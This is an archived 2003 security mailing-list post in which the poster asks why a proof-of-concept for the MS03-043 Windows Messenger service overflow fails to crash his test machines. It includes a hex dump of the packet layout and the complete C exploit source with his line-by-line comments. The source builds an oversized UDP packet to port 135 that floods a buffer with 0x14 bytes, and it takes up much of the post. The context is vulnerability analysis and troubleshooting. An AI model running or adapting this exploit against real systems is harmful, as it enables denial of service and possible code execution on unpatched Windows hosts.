MS03-043 PoC

From: Heywood Jablome (magicdongwong@hotmail.com)
Date: Wed Oct 22 2003 - 14:05:26 EDT


Good Afternoon,

I have been testing the poc code (Windows and Linux) and have been taking a
look at the
code a bit to see why I am unable to replicate the DoS condition. I have
commented
the code to make it easier to ask these questions:

1) Have any of you successfully tested the PoC?
        -I have tested it on Win2k from SP0-SP4, with the same result (nada)
        -I have tested it on WinXP from SP0-SP1, with the same result

2) Do any of you understand the vulnerability completely enough (on a
memory level) to explain
how the buffer is overrun with the 0x14's, allowing code execution?

3) Basically, here's what I've found with regard to the packet structure,
given "ATTACKER"
for the attacking (FROM) machine and "VICTIM" for the victim (MACHINE)
machine:

Max 'body' size (incl. terminal NULL char)
Total length of strings = 3949
Packet size = 4072
Fields size = 3992
Packet Header: [0400 2800 1000 0000 0000 0000 0000 0000
                         0000 0000 0000 0000 f891 7b5a 00ff d011
                         a9b2 00c0 4fb6 e6fc
Time(NULL) [86a2 963f]
                         ffff ffff ffff ffff ffff ffff 0000 0000
                         0100 0000 0000 0000 0000 ffff ffff
Field Size [980f 0000]
                         0000]
Field Header (FROM) [0900 0000 0000 0000 0900 0000]
FROM (NetBIOS Name) [4154 5441 434b 4552 0000 0000]
Field Header (MACHINE) [0700 0000 0000 0000 0700 0000]
Machine (NetBIOS NAme) [5649 4354 494d 0000
Field Header (BODY) [600f 0000 0000 0000 600f 0000]
Body [1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         ..........Snippety Snip Snip...........
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1414 1414 1414 1414 1414
                         1414 1414 1414 1400

...That is all good, I mean, I see where the packet is created, in the
following format:
[IP HDR][PACKET HDR][FIELD HDR FROM][FROM][FIELD HDR MACHINE][MACHINE][FIELD
HDR BODY][BODY]

And I also see that it is generating an enormous amount of 0x14's to overrun
the buffer with.
The thing is, when I do a packet capture, it appears that the PoC dies prior
to sending
enough 0x14's to actually overrun the buffer. I see three
packets...(fragments of course
over UDP 135) one is the header information and the next two are packets
with 64 0x14's each.
There should be many more 0x14's. Any thoughts?

4) Please feel free to look at the code. I DID NOT WRITE THIS CODE. I ONLY
COMMENTED IT (AND
MODIFIED BASIC SECTIONS). I have commented the code below:

#include <stdio.h>
#include <winsock.h>
#include <string.h>
#include <time.h>

// Time(NULL) and FIELD_SIZE get entered at positions 40 and 74
static unsigned char packet_header[] =
"\x04\x00\x28\x00"
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
"\x4f\xb6\xe6\xfc"
"\xff\xff\xff\xff" // @40: THIS IS WHERE Time(NULL) gets entered
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\xff\xff"
"\xff\xff\xff\xff" // @74: THIS IS WHERE field_size gets entered
"\x00\x00";

// The field length will be copied into positions 0 and 8
unsigned char field_header[] =
"\xff\xff\xff\xff" // @0: THIS IS WHERE THE field_length gets entered
"\x00\x00\x00\x00"
"\xff\xff\xff\xff"; // @8: THIS IS WHERE THE field_length gets entered

// MAIN: Zero packet out and define Source NetBIOS name, Destination IP and
NetBIOS name
int main(int argc,char *argv[])
{
        int i, packet_size, fields_size, s;
        unsigned char packet[8192];
        struct sockaddr_in addr;

// The following must be true: 0 <= strlen(from) + strlen(machine) <= 56,
max fields size 3992
        char from[] = "ATTACKER";
        char machine[] = "VICTIM";
        char body[4096] = "*** MESSAGE ***";

// Windows Shizzle
        WSADATA wsaData;

        WSAStartup(0x0202, &wsaData);

// Zero out the variable addr and define packet type, destination address
and destination port
        ZeroMemory(&addr, sizeof(addr));
        addr.sin_family = AF_INET;
        addr.sin_addr.s_addr = inet_addr("192.168.1.100");
        addr.sin_port = htons(135);

// Zero out the variable packet and set the packet size to zero
        ZeroMemory(packet, sizeof(packet));
        packet_size = 0;

//-------------------------------------ADD IP HEADER TO
PACKET-------------------------------------------//

// Copy packet_header (defined above) into packet (do you use the -1 because
of the null string terminator?)
        memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
// Increase the packet size to the length of packet_header - 1 (again, is
this because of a null string?)
        packet_size += sizeof(packet_header) - 1;

//-------------------------------------ADD FIELD HEADER TO
PACKET--------------------------0-------------//
// Set i to the length of the source NetBIOS name (defined above) + 1 (Why
is it plus 1?)
        i = strlen(from) + 1;
// Do they set the field_header to i @ positions 0 and 8? (Which would be 6
in this example
        *(unsigned int *)(&field_header[0]) = i;
        *(unsigned int *)(&field_header[8]) = i;
// Copy the field header into the packet (right after the packet header)
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
// Increase the packet size to its current size + the size of the field
header (in preparation to add Source NetBIOS name)
        packet_size += sizeof(field_header) - 1;
// Copy the source NetBIOS name into the packet (Why the padding?)
        strcpy(&packet[packet_size], from);
// Increase the packet size to be a multiple of 4
        packet_size += (((i - 1) >> 2) + 1) << 2;
// Set i to the length of the destination NetBIOS name (defined above) + 1
(Why is this plus 1 again?)
        i = strlen(machine) + 1;
// What do these two lines do to the field header?
        *(unsigned int *)(&field_header[0]) = i;
        *(unsigned int *)(&field_header[8]) = i;
// Copy the field head header into the packet (right after the first field
header? Why are there two?)
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
// Increase the packet size to its current size plus the size of the second
field header - 1
        packet_size += sizeof(field_header) - 1;
// Copy the destination NetBIOS name into the packet
        strcpy(&packet[packet_size], machine);
// Increase the packet size to a multiple of 4
        packet_size += (((i - 1) >> 2) + 1) << 2;

//-------------------------------------------ADD BODY TO
PACKET-------------------------------------------//
// Print out: Mex 'body' size (incl. terminal NULL char) =
3992-packet_size+packet_header_size+field_header_size
        fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %d\n", 3992 -
packet_size + sizeof(packet_header) - sizeof(field_header));
// Fill body (defined above) with 0x14's
        memset(body, 0x14, sizeof(body));
// Insert a null string terminator at the end of the body (0x00)
        body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1]
= '\0';
// Set i to the length of the body + 1 (Here's that plus 1 again)
        i = strlen(body) + 1;
        *(unsigned int *)(&field_header[0]) = i;
        *(unsigned int *)(&field_header[8]) = i;
// Copy field header into the packet (Now there are three field headers: one
for from, one for to, and one for body)
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
// Increase the packet size to its current size plus the size of the third
field header - 1
        packet_size += sizeof(field_header) - 1;
// Copy the body into the packet
        strcpy(&packet[packet_size], body);
// Increase the size of the packet to its curent size + body + 1
        packet_size += i;

//---------------------------------INSERT TIME(NULL) and FIELD_SIZE INTO
PACKET HEADER-------------------------------------------//
// Set the field_size to the (current size of the packet - packet_header -
1) = 3992 in this example
        fields_size = packet_size - (sizeof(packet_header) - 1);
        *(unsigned int *)(&packet[40]) = time(NULL);
        *(unsigned int *)(&packet[74]) = fields_size;
// Print out:
// Max 'body' size (incl. terminal NULL char) = 3936
// Total length of strings = 3949
// Packet size = 4072
// Fields size = 3992
        fprintf(stdout, "Total length of strings = %d\nPacket size = %d\nFields
size = %d\n", strlen(from) + strlen(machine) + strlen(body), packet_size,
fields_size);

// DEBUG OUTPUT: PRINT TO STDOUT: UNCOMMENT TO DEBUG
/*
        for (i = 0; i < packet_size; i++)
        {
                if (i && ((i & 1) == 0))
                        fprintf(stdout, " ");
                if (i && ((i & 15) == 0))
                        fprintf(stdout, "\n");
                fprintf(stdout, "%02x", packet[i]);
        }
        fprintf(stdout, "\n");

fprintf(stdout, "Field Header 1: %d\n", strlen(machine));
fprintf(stdout, "Field Header 2: %d\n", strlen(from));
fprintf(stdout, "Field Header 3: %d\n", strlen(body));
fprintf(stdout, "Packet size: %d\n", packet_size);
fprintf(stdout, "Time(Null: %d\n", time(NULL));
fprintf(stdout, "Packet header size: %d\n", (sizeof(packet_header) - 1));
*/
// END DEBUG OUTPUT

//---------------------------------------------SEND THE PACKET
-------------------------------------------//
// If the UDP socket fails to open, error out
        if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
                exit(EXIT_FAILURE);
// If the UDP packet fails to be sent, error out
        if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr,
sizeof(addr)) == -1)
                exit(EXIT_FAILURE);
// Exit with Error code 0
        exit(EXIT_SUCCESS);
}

_________________________________________________________________
Fretting that your Hotmail account may expire because you forgot to sign in
enough? Get Hotmail Extra Storage today!
http://join.msn.com/?PAGE=features/es

---------------------------------------------------------------------------
FREE Whitepaper: Better Management for Network Security

Looking for a better way to manage your IP security?
Learn how Solsoft can help you:
- Ensure robust IP security through policy-based management
- Make firewall, VPN, and NAT rules interoperable across heterogeneous
networks
- Quickly respond to network events from a central console

Download our FREE whitepaper at:
http://www.securityfocus.com/sponsor/Solsoft_pen-test_031015
----------------------------------------------------------------------------



This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:53:41 EDT